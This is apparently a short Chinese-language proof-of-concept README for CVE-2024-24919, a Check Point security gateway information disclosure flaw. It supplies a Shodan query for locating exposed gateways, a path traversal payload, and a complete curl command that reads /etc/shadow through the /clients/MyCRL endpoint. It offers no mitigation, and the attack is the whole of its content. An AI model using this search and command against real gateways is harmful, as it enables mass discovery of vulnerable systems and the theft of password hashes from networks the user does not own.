CVE-2024-24919_POC

这是CVE-2024-24919的漏洞概念验证代码，我在发现后制作了它。

CVE-2024-24919 Checkpoint安全网关信息泄露漏洞。 您可以在Notion-CVE-2024-24919_POC中查看。

Shodan搜索语句：

title:"Check Point" "Server: Check Point SVN" "X-UA-Compatible: IE=EmulateIE7"

有效载荷

aCSHELL/../../../../../../../etc/shadow

• 路径中 💡 https://Host/clients/MyCRL > 将Host替换为原始IP

终端命令

使用curl获取密码的shadow文件

curl --path-as-is -i -s -k -X $'POST' -H $'Host: 127.0.0.1' -H $'Content-Length: 39' -H $'Connection: keep-alive' --data-binary $'aCSHELL/../../../../../../../etc/shadow' $ 'https://127.0.0.1/clients/MyCRL'

如果需要更多信息，请先前往Notion。

查看更多Write-ups Notion-Link-Write-ups

联系我 clickhere